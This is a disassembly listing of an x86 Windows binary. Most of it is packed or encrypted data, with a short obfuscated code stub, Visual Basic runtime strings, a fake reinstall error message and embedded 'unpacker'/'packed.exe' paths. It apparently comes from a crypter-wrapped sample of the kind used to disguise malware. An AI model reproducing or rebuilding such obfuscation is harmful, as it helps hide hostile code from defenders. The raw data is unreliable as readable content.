dd 7BE03C9Dh, 0B326A648h, 3D8229F7h, 850881A4h, 4AA4D72Ch
dd 8DF18E18h, 0C0EB50DEh, 8F96EA4Bh, 96396FFh, 0C2FBA91Fh
dd 57C0575Dh, 0B31ECA24h, 0AF5E0DF7h, 57D0F546h, 0F7B095F6h
dd 0E0CA1B74h, 1EAE4073h, 7221F7B3h, 13A140C3h, 0B31C6ABBh
dd 1EC32B5Eh, 0AF14F7B3h, 0F695188Fh, 1D50B947h, 1CE2515h
dd 0C0575DC2h, 4E57A811h, 2AFB5CBDh, 0A689DE61h, 228876F1h
dd 59DCE2C2h, 7350Ah, 1929700h, 0A6793FA0h, 43DAE445h
dd 0EABD81E2h, 92072889h, 0AD620331h, 4BAC0D82h, 0EE4FB067h
dd 92F354C9h, 3D99FAB3h, 2749A5D8h, 0E78EF7B3h, 1A74B1A2h
dd 1EB47EB1h, 7423FBA9h, 531CEA0Bh, 95C4DB10h, 784D9E07h
dd 94E94EAFh, 0B3A58D61h, 994A38F7h, 15725B7Eh, 0A04E81EAh
dd 2FF7B323h, 436CD180h, 1EAC4BCEh, 981BECB9h, 59CCEE3Fh
dd 51A937D6h, 1E51BAD4h, 1D43123h, 0B9280F74h, 0C83E6886h
dd 9B867F1h, 0BD38E786h, 0E2F80459h, 9F5BAA2Dh, 1000006h
dd 0A5066738h, 46A7089Fh, 0EF50B164h, 96F758CFh, 719F0095h
dd 7B101B1Ch, 1EF1B91Ah, 0C2575CBDh
dd 64250061h, 0F42A703h, 0F7B327DFh, 0A40449F0h, 3E778281h
dd 0AD3DEBBBh, 3B26748h, 911A2B80h, 0A0BF6D0Eh, 68C94263h
dd 0E37F6708h, 5C63B49Ah, 17A544C7h, 7D8h, 0F7AA8300h
dd 55000002h, 0C8D97FA0h, 2E27F40Dh, 0D3D2205Eh, 68F6A55Ah
dd 7CAF2203h, 0F18E4172h, 25C9FC65h, 0AAF18E41h, 1A9D4CFBh
dd 0CA3353D2h, 0A9489B97h, 248D3CFBh, 59B2EFD3h, 8EFED5EEh
dd 0E9880BBAh, 8C99FA5Bh, 182378FBh, 57CE2283h, 0B27DCE37h
dd 0B3E64FDDh, 1CF13A4h, 0C84FD005h, 0ABF84A3h, 0BB5C5E00h
dd 9F4EFD91h, 8DC0E536h, 8EFC945Ah, 0E59443F1h, 89022384h
dd 198EB106h, 0C45B5FB0h, 0BA6BB336h, 0B90E63CCh, 8EFC6886h
dd 0CBFE67F1h, 0F18EFC23h, 0F15605B4h, 81C856C9h, 0FBAFE660h
dd 51C4E637h, 6EE998C3h, 0E4DDCF7Ch, 8F1665E8h, 0F1000005h
dd 95F657C8h, 3697F8AFh, 0DF40A174h, 86E748DFh, 618FF0A5h
dd 6B200B0Ch, 0E81A90Ah, 0B2674CADh, 54D5F051h, 0FF3297F3h
dd 0F7B328EFh, 0A4F439E0h, 30850881h, 0BC119415h, 479C1FF6h
dd 0E12FB265h, 0D889102Fh, 57595273h, 99456595h, 8E188866h
dd 0E99847F1h, 18A14D80h, 8736F18Eh, 0EB2847F9h, 90F051DAh
dd 9AE33ADFh, 3AB4E73Ch, 9DF18E10h, 72160EEh, 0CC000000h
dd 151AAh, 4FA05500h, 9130B368h, 6879E03h, 0C2219F8Bh
dd 3D8C0FE2h, 4FAh, 5BBC555Ch, 6134FAh, 0A90A9D9Fh, 50B16448h
dd 0F657CCEFh, 4972A5C8h, 2E1273D4h, 8EB51677h, 4E57B819h
dd 9B005CBDh, 0B3298668h, 5DA249F7h, 0D6184BA0h, 0F9F18E18h
dd 4E57BC4Ah, 0C0E53ABDh, 496FC447h, 1805E91Ch, 1BCAF18Eh
dd 0AF94E96Ch, 28D677FAh, 23D18209h, 77FEC704h, 0ACD355B0h
dd 5D50531Fh, 3E9EFFAEh, 9AE35831h, 2214h, 0C3AABF00h
dd 41000000h, 0BF2F4B20h, 18F98C5h, 0B4AAACh, 20410000h
dd 22A09D6h, 12EF568Bh, 0A0C61BA9h, 37BA6D4Fh, 73B20A98h
dd 0CF5C938Dh, 7F2E2942h, 574FE316h, 5908FBA9h, 0F7978ED6h
dd 4D825B8Eh, 0C41501D4h, 3A225F8h, 209B4A75h, 0E2F8081Ah
dd 2FDC2BAEh, 91000004h, 3596F7A8h, 0D637980Fh, 7FE041D4h
dd 2687E8BFh, 12F9005h, 0B80AB6Ch, 0AE6149AAh, 52C7EC4Dh
dd 0F4B590F1h, 9FD23793h, 0F7B32A4Fh, 0B194D980h, 7EB11A74h
dd 0FBAFC5C4h, 0AAFB6413h, 69AC0D80h, 0F7AD6588h, 10793213h
dd 0A124FBBFh, 0FC939D02h, 82AC0D6Eh, 1A4DA20Bh, 0F7AD65D4h
dd 0B8EB5403h, 0F7AD6536h, 0D95CEA99h, 3C18Ah, 74B13500h
dd 0B47EB11Ah, 23FBA91Fh, 7CA9F174h, 12C1545Ch, 0CD2154A9h
dd 2F7B31Fh, 0C3081E53h, 0D5F1137Ch, 6889DE47h, 348A5996h
dd 0ED013466h, 0E2F7B415h, 0AFF68433h, 1D50B2Eh, 7955D07Fh
dd 0EDE2F8CAh, 3781B6Ah, 0D7DA0000h, 0B67CDD3Eh, 131D7EDFh
dd 0F2BA1B7Ch, 5659BA1Bh, 533260C1h, 0DD3ED3DCh, 80E1B47Ch
dd 2283181Fh, 0C223E4C1h, 20CE0166h, 0AFF7B32Ah, 74B1C308h
dd 0B5CB11Ah, 25096E21h, 919DE472h, 46FBA91Fh, 84D92E97h
dd 0B31F9D51h, 0F58332F7h, 0E53AB590h, 0B31F3CB2h, 0A5EC9BF7h
dd 0F7B31F49h, 9106298Eh, 11C06F0Eh, 0B5764FB0h, 4B3BEA32h
dd 743C8DE2h, 9D4CC3EBh, 0A6ED7B1Ah, 1CE24FDh, 75C62FDEh
dd 1576D750h, 0ACF47730h, 71A40D79h, 0FBAF3860h, 410B8635h
dd 0ADE4DD3Fh, 2D8DB2Ah, 773A0000h, 0D6DC3D9Eh, 0B37DDE3Fh
dd 121A7BDCh, 0F6B91A7Bh, 0F392C021h, 3D9E733Ch, 0E041D4DCh
dd 82E3B87Fh, 22830421h, 0C02E61C6h, 0FF7B32Bh, 81A42368h
dd 15308508h, 7DCE3394h, 0F951DFA8h, 0C6F9622Ch, 0FBAF1E6Bh
dd 83BA3DECh, 0F7AD1E6Fh, 44809F41h, 0A102412Bh, 0A9D9FF0h
dd 5C3D7Ch, 0B1E80000h, 60B11A74h, 0A342C558h, 3657AC15h
dd 97CF851Bh, 0C53E18Ch, 0FBAF4C95h, 0C7E2C3E4h, 2F65FB30h
dd 491CE696h, 12A04FF1h, 7ECF38E7h, 0D255E3BAh, 0ADA9579Bh
dd 0AF0059F7h, 0F8971A8Dh, 5899B86Ah, 0BDF90937h, 0B42F45F3h
dd 0ED4B8032h, 0D539C70Dh, 0A1025A9Ah, 0DDABh, 81A45600h
dd 0F308508h, 1841ADE0h, 0E796F18Eh, 66E9BC82h, 8EAF18C7h
dd 0FBC424B0h, 0CF04A326h, 0CF0264F0h, 0F18E191Fh, 0C45201B0h
dd 50D9EC41h, 0DCAD78CDh, 1DEC387Bh, 0B491F18Eh, 143192F3h
dd 5DC81093h, 2273C831h, 62018419h, 10D08DD4h, 36E5FBAFh
dd 0A94578CDh, 2EF7AD2Eh, 7F161A7Fh, 6ECF5DFCh, 127B0B1Ah
dd 0CCBE0CDFh, 0B51ECD01h, 0D90C5B64h, 0F1CCBE15h, 0F35C0BBAh
dd 0BE836B9Eh, 0A554F1CCh, 6A55B617h, 87163AB5h, 63E6E2FCh
dd 18914h, 4DC6EB00h, 0F2A58BECh, 970E3091h, 36E9D536h
dd 0D64B74D5h, 0F1264775h, 97F859CEh, 3A9BFC93h, 0DE3FA075h
dd 89E546C7h, 2BFDF124h, 2BD2F7B3h, 69BA4E6h, 0EE6144A5h
dd 18886699h, 9847F18Eh, 8E189D51h, 0D48332F1h, 74B12273h
dd 75CB11Ah, 8E181AD4h, 800EBDF1h, 0AF376839h, 1B9E4DFBh
dd 0AD370EE4h, 0E100A2F7h, 245CAA5h, 887BA1h, 0A4260000h
dd 30850881h, 0E0179A0Fh, 0F18E1C44h, 0E5B884D5h, 5AD3F257h
dd 0FC8D98F9h, 9AF43179h, 105FFE31h, 0C170FBAFh, 6D190C60h
dd 0BB75D104h, 0AB5A01CCh, 59CEF142h, 4BA5CFF0h, 38477889h
dd 0C7E849AAh, 0F99D752h, 0A8DE2FCh, 0C9BBh, 8D062B00h
dd 32E5CB2Ch, 0D74E70D1h, 76291576h, 168BB415h, 31E687B5h
dd 0D738990Eh, 7ADB3CD3h, 1E7FE0B5h, 0C9258607h, 2DBD3164h
dd 6B12F7B3h, 69BA426h, 0A86144A5h, 81A4F647h, 1F7E9F08h
dd 980F5379h, 358DB69h, 5D8CB322h, 8E37C42Ah, 0B56413F1h
dd 0D451A506h, 81E51BAh, 0C7FBA93Fh, 65409518h, 0C3E243A4h
dd 0AB90E14Ah, 6FD473F6h, 0C649D74Ch, 0F44A4C6Dh, 1AED00A6h
dd 0AB8F458Ch, 6BD40056h, 830BE316h, 1DCCF516h, 81BEDD8Fh
dd 2182E3A4h, 79F8CD04h, 0BA59DCB3h, 3AE9880Bh, 0C35A62B7h
dd 3B1F395Ah, 3B2979D3h, 2ADC2AADh, 36F7CE0Bh, 0D85174D5h
dd 0ADA04E6Fh, 9A59DC84h, 33A890Ch, 0E5000000h, 9DA4095Eh
dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h
dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 508ED75Ah, 0BD55E089h
dd 4, 835DE801h, 48704E8h, 0F5685C24h, 8900005Fh
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 625086Bh
mov ecx, [esp]
add esp, 4
push esp
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, ecx
mov [ebx+8], esi
pop esi
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5426C5
; ---------------------------------------------------------------------------
db 87h, 6Bh, 78h
dd 3E5D48F5h, 4F75B0A5h, 1667B863h, 0C5030625h, 0A153E0FFh
dd 0DD8F4430h, 70F60927h, 0D3885B86h, 6DBC2FACh, 0E70A3B79h
dd 95821ACCh, 9DE2075Eh, 1A854FADh, 0F75F350Bh, 0CB3D2D3Dh
dd 5E8E52CFh, 5260476h, 0C12A7A6Ah, 0AFD845F5h, 0C17F60h
dd 48941108h, 592C1C99h, 8D8D79DCh, 62517B6h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4EC35141h, 0E2CD433Bh
dd 199D29D6h, 89061F2Fh, 1F0B5D8Dh, 0F1B58B06h, 0C7061F0Ah
dd 1F20C585h, 6FC406h, 0D4B86600h, 7D85C70Bh, 61F13h, 0E9000000h
dd 6, 4AA1A217h, 0B5FF1E6Dh, 61F0865h, 5995FFF8h, 0F061F2Dh
dd 286h, 6A1CB400h, 4595FF00h, 8B061F1Dh, 71CEBC0h, 642B7AE8h
dd 685121ADh, 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h
dd 8DD6F9D4h, 25189A8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0AE95Fh, 33390000h, 8CB8AB20h
dd 2B97C9E8h, 7FC08166h, 5D8D89B9h, 6A061F0Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 99DAC357h, 16F506C7h, 85C781B2h, 61F20C5h, 69ECh, 0EEC08166h
dd 7D85C74Eh, 61F13h, 8B000000h, 1F10BD85h, 25B5FF06h
dd 6A061F30h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 3AA8C356h, 1C084F94h, 2D5995FFh
dd 890F061Fh, 3, 56DFB70Fh, 1355B589h, 6A5E061Fh, 4595FF00h
dd 8B061F1Dh, 166DEBC0h, 0DDFEBFE6h, 6A1C695h, 9091DEBFh
dd 1AC7EDB2h, 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh
dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh, 9E302A4Eh
dd 632BB765h, 6725089h, 0BD957ACAh, 1850CF4Eh, 0F63F8CFDh
dd 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh, 4BC085DDh
dd 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 0BEBA6C47h, 15CE9h
dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h
dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
db 0
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 0D3h, 0B0h, 25h
dd 1DB5E91Ah, 0E6680000h, 0E906251Ch, 0FFFA6306h, 251DDF68h
dd 62FCE906h, 1B68FFFAh, 0E906251Fh, 0FFFA62F2h, 25200968h
dd 62E8E906h, 5868FFFAh, 0E9062520h, 0FFFA62DEh, 25211968h
dd 62D4E906h, 6C68FFFAh, 0E9062521h, 0FFFA62CAh, 2521B368h
dd 62C0E906h, 0F968FFFAh, 0E9062528h, 0FFFA62B6h, 25297A68h
dd 62ACE906h, 3E68FFFAh, 0E906252Ah, 0FFFA62A2h, 252B0D68h
dd 6298E906h, 6E68FFFAh, 0E906252Bh, 0FFFA628Eh, 252C3568h
dd 6284E906h, 0FA68FFFAh, 0E906252Ch, 0FFFA627Ah, 252DB468h
dd 6270E906h, 0F568FFFAh, 0E9062534h, 0FFFA6266h, 2535E768h
dd 625CE906h, 0AC68FFFAh, 0E9062536h, 0FFFA6252h, 0F36A9715h
dd 1289762Fh, 2EA55C4Eh, 49C03F6Ah, 69E02185h, 4C5A631Dh
dd 397A3EB5h, 0D9B5FD6h, 0EEB97DF4h, 58D19A11h, 0AE86D4ACh
dd 0BC2F6719h, 8D1B6245h, 8D49296Fh, 9E26DCF1h, 0DE82B564h
dd 0F2847B2Eh, 6014A64Ah, 0DA41B847h, 2EDA635Dh, 1FD31D56h
dd 0C19935E9h, 541FD31Dh, 0D783FCA0h, 15F025C2h, 2DA860Fh
dd 9525F225h, 0E4BC68E1h, 7725F224h, 0B2669FC3h, 2C04B039h
dd 0BF25F225h, 0B555E70Bh, 25F225E1h, 4216C847h, 0B56B350Ch
dd 7FA3D351h, 752290E9h, 0B9D5D09h, 3BE764F6h, 25F20F63h
dd 7A9E42F6h, 59E1h, 467C6E00h, 0F0B924B7h, 0C4E8E90Fh
dd 0DDBB933Fh, 9A4E1FD2h, 0B87FD2F6h, 50265CD5h, 0C8E6E486h
dd 0EE77F014h, 63877A2Eh, 0EFED22C7h, 891BCF15h, 0F22E15E9h
dd 0E2FC7B25h, 6941ED76h, 0BC25F22Dh, 0F22D3810h, 0DE17CB25h
dd 2970062Ah, 0E40975C8h, 5C808F24h, 108C3h, 62455000h
dd 4F570B9Dh, 3B6C20B2h, 5CD79042h, 24C86D2Ah, 36C9DE92h
dd 66B987BDh, 0FB77F9BDh, 10B060D7h, 731FD35Fh, 780AF7B3h
dd 0ABFCACD0h, 8E19DD54h, 0D962DF71h, 0D35E552Dh, 1034E81Fh
dd 9E177ABDh, 47DFDF15h, 958A175Bh, 5E5CD571h, 28B115F0h
dd 0F25DA47Ch, 17EAC025h, 0F0A4DD85h, 66DF93CCh, 6AFC03A6h
dd 0C0279EC2h, 5EA10677h, 5D9541BAh, 0B01C13CEh, 2448B7F0h
dd 0FEBE37EBh, 880AD3ACh, 0BF3D3D08h, 0BDE1891Bh, 0DF228444h
dd 5931DD66h, 0EC2C1421h, 21DFB763h, 0BE722C14h, 0BB7FF61Ah
dd 6AAF16EBh, 0DBFA680Ah, 1A8E2645h, 4D5F0000h, 2C793DB4h
dd 12985CD3h, 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h
dd 0AD24EBC8h, 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AE86h
dd 467C0A7Dh, 0ADF910F7h, 0F41AC254h, 0F0A08452h, 722246B9h
dd 0C956CD34h, 3E629F09h, 6511198Eh, 1FD2BE8Dh, 51C86C20h
dd 95A2DAh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 108F25F2h
dd 5C2C6DCEh, 0ABE10974h, 7C9EF620h, 0BD567A76h, 0C8h
dd 0CC337434h, 0E01F863Ah, 0DE02A64Eh, 0EEBC7C7Bh, 55578113h
dd 0BCAFE17Ah, 8430A94Dh, 1FD321ACh, 0B7678B3Fh, 0C97D0FF0h
dd 159224DDh, 8B64EFDFh, 892A1D36h, 5BBCE286h, 12C1178Bh
dd 7717B3D7h, 0A31FD313h, 0C084FB04h, 2F8618E7h, 600C8508h
dd 15F023E7h, 0EA51C87Ch, 23CF484Dh, 1C138FC0h, 8040B96Dh
dd 0D764DB26h, 4D718E17h, 91F8099Dh, 0FA685956h, 95FE1DB3h
dd 66000019h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh, 0D69A11EEh
dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h
dd 3AF28F1h, 19AE852Bh, 451386BEh, 6529A061h, 643CE842h
dd 0F71FD3A1h, 9B289F43h, 0C32CFDBh, 1B70B9F0h, 5ABDE1B8h
dd 0B9D6245h, 882D5057h, 525C4A8Ch, 13A55C4Eh, 0AA23C76Bh
dd 0AE40BFEAh, 0DE6BE206h, 4E748B1Eh, 0F7955C91h, 8EE10576h
dd 0BF6BE4A9h, 15F051B6h, 0C8FE772Bh, 0B6EB130Fh, 2B1B471h
dd 0D5219741h, 0DB7B0D31h, 25F1A907h, 68F0EE6Dh, 7002FDA8h
dd 4B0EA4C8h, 62097541h, 0FAh, 748D19D9h, 467CED50h, 4C679C93h
dd 3E486C87h, 6021163Ah, 9F18BC53h, 1135CADFh, 8B33EC98h
dd 3FC815EFh, 3AD62B7Fh, 25F1CB62h, 0CB3109B5h, 10C425F1h
dd 0EC7F23D7h, 6A342A4Ch, 197CBB6Ah, 676FF4A0h, 0A6DCF0A9h
dd 20ADAD09h, 0EBE3A2A3h, 0A63EA68Fh, 0F1A5DE02h, 0A5ACE25Fh
dd 63AE2527h, 0E057AACEh, 258834ADh, 92F6CEB1h, 0FCD48009h
dd 8F06CEF0h, 0F0673FDBh, 46FA06CEh, 0BC35E922h, 0DD54ABFCh
dd 0A718E19h, 10D33B9Bh, 596D8C22h, 2A000018h, 44087F82h
dd 63279E61h, 7F43BA47h, 9A5ED52Ah, 327EF50Ch, 0D0317578h
dd 0F11E9559h, 0FF2B67Ah, 2CD3D498h, 0C773ECB5h, 19AE82EFh
dd 7CD74A82h, 8C7533F3h, 0D3A218F0h, 0D3F7AB1Fh, 0E97B8423h
dd 77F0A592h, 0F087C2CBh, 2AE3715h, 25F2C72Ah, 55AAFDBDh
dd 0D3771BC3h, 9B0FCF5Ch, 8620D466h, 9D41E97Bh, 467C1679h
dd 3E34F17h, 0FB04A594h, 6D1DC169h, 97A1C53Ah, 0C7CA6DE1h
dd 18E9A24Eh, 0CA7E15F0h, 13D19737h, 0D2A9D19h, 0DE630F88h
dd 8BA33846h, 49EE45D7h, 0EB8F7238h, 8F7B272h, 22E26BE4h
dd 40E87A85h, 906A141Ah, 0F81C8F1Eh, 5BECF95Ch, 0BFE6A6A9h
dd 6206AE40h, 0A1D760E9h, 0A63F9CBBh, 522AC6F3h, 0E5B95BEEh
dd 4A5D0D31h, 0BCC83E33h, 4FF397F1h, 1D8B4BD8h, 9710C0E4h
dd 0AD5A0168h, 790F6FA0h, 176B5Ah, 91703C00h, 0B04F561Ah
dd 0CC357539h, 0E7189155h, 7FAAC70h, 838A4490h, 0A367DE23h
dd 0C488FF10h, 0E2A61DE4h, 0FAC33AC5h, 81FDD581h, 589019AEh
dd 58467CE5h, 6E941C63h, 0ED307096h, 6AED1038h, 0EE119646h
dd 0D727CA87h, 0D6F58B09h, 171Ch, 0CB42BFEDh, 0EA619E07h
dd 67D8426h, 21986742h, 41B8495Dh, 74323BF5h, 6152168Dh
dd 357337AEh, 169155CCh, 30A972E9h, 0AE81AC84h, 94073F19h
dd 249D6245h, 2EC04F64h, 31D52C7Ah, 45D72881h, 6AE7799Dh
dd 3FE6B334h, 54787B70h, 0DA533601h, 5ECDA551h, 0AC601FD3h
dd 0C6860F88h, 0E48C1EE1h, 686B24C0h, 4C0015F0h, 9ECEB7D5h
dd 0CF7BF499h, 1C0F4916h, 2E8775ABh, 0E62AD6D3h, 6D0FAF42h
dd 0FEC8B725h, 52DB5439h, 3396B71Ch, 7DA12E53h, 0D5A75CE1h
dd 5C4909BEh, 0C56911A3h, 365BDC33h, 20AE11BDh, 0A75BC4FAh
dd 0C6396E2Eh, 0A302C24Fh, 1F88385Ch, 0C81679E0h, 0DD73430Eh
dd 165BBEh, 81802C00h, 0A05F460Ah, 0BC456529h, 0D7288145h
dd 0F70A9C60h, 737A3480h, 9357CE33h, 0B478EF20h, 0D2960DF4h
dd 0EAB32AD5h, 80EDC571h, 488019AEh, 0A18159D5h, 0DDB11FD3h
dd 51FD3B1h, 1FD3C231h, 0D3C18559h, 0F10E991Fh, 286A038Ah
dd 0C5E47AF6h, 1608h, 0B72ED3D9h, 0D64DB2F3h, 0F2699812h
dd 0D847B2Eh, 2DA45D49h, 881E27E1h, 753E0279h, 495F239Ah
dd 2A7D41B8h, 1C955ED5h, 0AE809870h, 80F32B19h, 870095A2h
dd 0F0BBAADBh, 147B2F15h, 0F0376D9Fh, 0C14564FAh, 92000015h
dd 0AC70E71Ah, 0CB8F06F9h, 0E7AB22DFh, 2C63DC2h, 9AE65DA4h
dd 38C9DDE0h, 59B6FDC1h, 778A1EE2h, 946B3C00h, 2FDB541Dh
dd 19AE8057h, 453FB2EAh, 570B9D62h, 28B82D50h, 2FCE43Ah
dd 8525E55Eh, 38CA3570h, 36C8EC90h, 0D7647A05h, 0F0940482h
dd 8D39C24Bh, 1FD2EDB5h, 20F89448h, 3C1FD2EEh, 5901936Eh
dd 0E9BC6C20h, 0B8DC8416h, 251Fh, 8559AC00h, 991FD3A1h
dd 0ED7AF10Eh, 0F688792Dh, 0BCAD284Eh, 0E908E4Dh, 0AE9C4EEAh
dd 2ABC1F8Ch, 152B0Bh, 0BC7C9400h, 0BC9440ECh, 4F1FD3A1h
dd 23D3F79Bh, 6CE97B84h, 7BB8FF36h, 5B55437h, 26CE60A1h
dd 588AF02h
dd 6243038Ch, 3F630B9Dh, 0F0446EA3h, 6D3BFB15h, 0B65A0294h
dd 2A5FD83Fh, 426828B1h, 61852DBFh, 0F587CC5h, 0AB3DF11Ch
dd 21F9A52Eh, 0B42C1158h, 7E2CDC00h, 875C0C83h, 9D2C1157h
dd 0BC80F708h, 0D08416E9h, 0D1A955D5h, 642C1157h, 9A3B8AB0h
dd 0AC80ACB7h, 77F27608h, 14EBBA67h, 48A6F39Dh, 0B6470356h
dd 0D4000001h, 870095A2h, 0F095AEDBh, 0FE772B15h, 0BBA33FC8h
dd 1F437E25h, 33CCD98Dh, 52ADF8BCh, 1DBCA3D9h, 6F22713Ah
dd 7C3CB94Bh, 14B0D42Bh, 25F31540h, 0B4A43AC9h, 0F426707Eh
dd 0E32E8A0h, 0FE36475Eh, 4AB5F079h, 0E1CFD324h, 0D9D01DBBh
dd 10B49228h, 90053299h, 0AE28E17h, 9D25F2F7h, 0A638C9DDh
dd 0BD365AFEh, 100A1011h, 6F01B51Ch, 9F16EBBBh, 7B2ACBDBh
dd 5E095E84h, 7DDB7F2Dh, 0D5A747D9h, 5E2C11FEh, 94120FCFh
dd 7334F46Dh, 2E52FA8Ch, 4DB2F3B7h, 34083EBBh, 6C3344D2h
dd 0E9169141h, 6F9015C5h, 0DE59DDh, 0FE512258h, 0EFD7CDDDh
dd 758A1BCBh, 2B0554FEh, 3FA80355h, 35000000h, 16946145h
dd 916E3BEBh, 21B357FFh, 36C8396Dh, 7AA737B2h, 7C54002Ch
dd 0F1FD3A1h, 7AB644Fh, 0B561EA63h, 1FD3A1DDh, 5796BC70h
dd 9C1FE358h, 5802799Dh, 0F094DD01h, 0B8ACh, 95A23900h
dd 16DB8700h, 8315F0B7h, 0B7764EFAh, 490925F2h, 0DD01A56Ah
dd 3AC5E4A4h, 0C55F7EA8h, 527D521Bh, 0FB780AAEh, 0E3BE17C5h
dd 0B1D56027h, 0E45BA401h, 3C6E8520h, 1FA821C5h, 0F3449B73h
dd 567A2E25h, 6A9510C4h, 8D8231F1h, 0D853D769h, 1DC95206h
dd 25F34445h, 357424D8h, 0AFF6A6CAh, 6A2FD950h, 830974E1h
dd 47h, 7A91A210h, 0B6B40FB8h, 0A720C42Eh, 0D33393FBh
dd 0E9D0061Fh, 7B477104h, 0AF4FE185h, 1FD367DBh, 324C9211h
dd 67138C01h, 1FD368FFh, 0CB367232h, 41BA6EA7h, 0DDCD2681h
dd 0E55C8024h, 0CB6h, 3E692900h, 0DA3A9DC1h, 72h, 0EABC7C63h
dd 0B9DD8517h, 0CE60A109h, 0FB748B1Ah, 12BE6C3Bh, 1FD3A13Ah
dd 0E37519CDh, 13A0173Bh, 0A206DE8Ah, 0E5991FD3h, 6B9411C1h
dd 0AB482D9h, 0D3A1865Eh, 0C165191Fh, 0A8FFBF48h, 0A1E3BB57h
dd 0A7FF1FD3h, 0E720C85Ah, 0DD7D0F33h, 1FD3A20Eh, 0E1738E1Ch
dd 0F1837C2Dh, 14946D3Dh, 8AE84599h, 1168D30Bh, 0DCF094BCh
dd 53778A1Ch, 0CFBBAh, 94A24700h, 51FD86FFh, 1FD3A179h
dd 0A234580Ch, 7C97B702h, 4E900F91h, 0C073ACEDh, 3B4186h
dd 0A2CE0000h, 0FD86FF94h, 2B886D3Dh, 6AE40E4h, 0A16E46E2h
dd 4D011FD3h, 6FE51BBBh, 0D453B0A7h, 8F68310Ah, 6FA5A618h
dd 0D5AFF2ABh, 0BA923E00h, 4DC94769h, 38D1F599h, 2D5h
dd 0FF94A2C5h, 7951FD86h, 0CC1FD3A1h, 0D3A14820h, 0EE27DB1Fh
dd 87B3163Ah, 9D624520h, 47F37C3Ah, 1FD3A16Fh, 98674202h
dd 0ABA5E06h, 0A93C609Fh, 0B06A5F42h, 6CC3F394h, 50000000h
dd 9DCE467Ch, 721074AAh, 563BFB4Eh, 0D0A854DDh, 631FD338h
dd 7C288BAFh, 8C7533F3h, 0A05F46FAh, 673CD8FCh, 0F41FD3A1h
dd 0FE907F34h, 0FF02A656h, 0F37CF85Bh, 0FC8E7333h, 572FDB54h
dd 0EA1FD3A1h, 7CAF1236h, 0A16F47F3h, 4E021FD3h, 0D1307A2Ah
dd 0E81B9858h, 0B9D41C0h, 76DC3F63h, 957A39F9h, 1A3EC3E5h
dd 4ADAB7h, 7C630000h, 0E894E9BCh, 0BC6068C1h, 0BC64F69Ah
dd 0A0F14598h, 0BD426727h, 0D07C3699h, 1FD3A1FBh, 3B13BF48h
dd 0CE1FD3A1h, 37EFF61Ah, 0DA467CD4h, 0D0C09E31h, 0D649C2E6h
dd 0DAC5467Ch, 23902DB1h, 40E87A87h, 0E2C8789Ch, 0F76BC1Fh
dd 0E9B17059h, 0F4386EFDh, 0F08C7334h, 7E09B218h, 226146BEh
dd 0E31C3A1Eh, 320AB62Fh, 0C57E0A26h, 0BEF46D11h, 5B4EC01Ch
dd 446A12A4h, 0E40828EAh, 1FEA96Dh, 3AC7DF93h, 0C51994CCh
dd 3BB44B5Ch, 41D32C7Bh, 2EE27599h, 4D0D8679h, 6216A859h
dd 8129BB46h, 3D4BB9DDh, 924CCBFBh, 3A390C6h, 143BE427h
dd 986740F0h, 7380E91Fh, 0CBAAADBAh, 476014A7h, 10964AB8h
dd 9B624F9h, 0F47BB17Eh, 5B1D722Eh, 0BDE2BD59h, 35D90A9Bh
dd 366F2391h, 228337C9h, 4CC74BDDh, 0E8198F92h, 49951044h
dd 9D30CFD8h, 0CB44BDE9h, 8FBE9642h, 9D517E0Ah, 56D9E779h
dd 0F829B530h, 51DA53AEh, 4EEA1791h, 7E0A8F76h, 0BA315509h
dd 0E04EB1F6h, 0BA8F7A2Ch, 477E0A8Fh, 63E41A93h, 0DCE50F84h
dd 0BF8A620Eh, 691D7E09h, 3A6A9FC5h, 1A971010h, 0D1D488F6h
dd 731F9C2Eh, 7E0A799Bh, 0DECA7A2Eh, 0C96D9217h, 7569F837h
dd 548A09B8h, 9225DACDh, 0B561C9DEh, 7E0A79DDh, 0AA18BC70h
dd 63CEF72Dh, 0AA95A88Ch, 45B77C86h, 4EB1F8B8h, 0F22FAF2Ah
dd 3B74AB5h, 39ED5BA4h, 7B24126Dh, 36AD34B0h, 43702492h
dd 1F863ACCh, 4FCA4EE0h, 0F16A9E8Fh, 5B33DF68h, 0EE7E0A14h
dd 14C69E3Ah, 99597E0Ah, 9C4CF011h, 0BE66F817h, 62BF1F9Ah
dd 0DCEC3845h, 0BE523C6Ch, 4520871Ah, 873A9D62h, 0FC91A220h
dd 5FFB6299h, 0F394B06Ah, 29C3h, 91A25000h, 0D07C99FCh
dd 1FD3A1FBh, 0D25BD488h, 0D26EA112h, 1FD3A1FAh, 52B5D98Dh
dd 6045097Ch, 0F763C9Fh, 28DAh, 91A26300h, 0F37C99FCh
dd 0D3A16F47h, 2A4E021Fh, 0A23005B1h, 37EF1FD3h, 45097CD4h
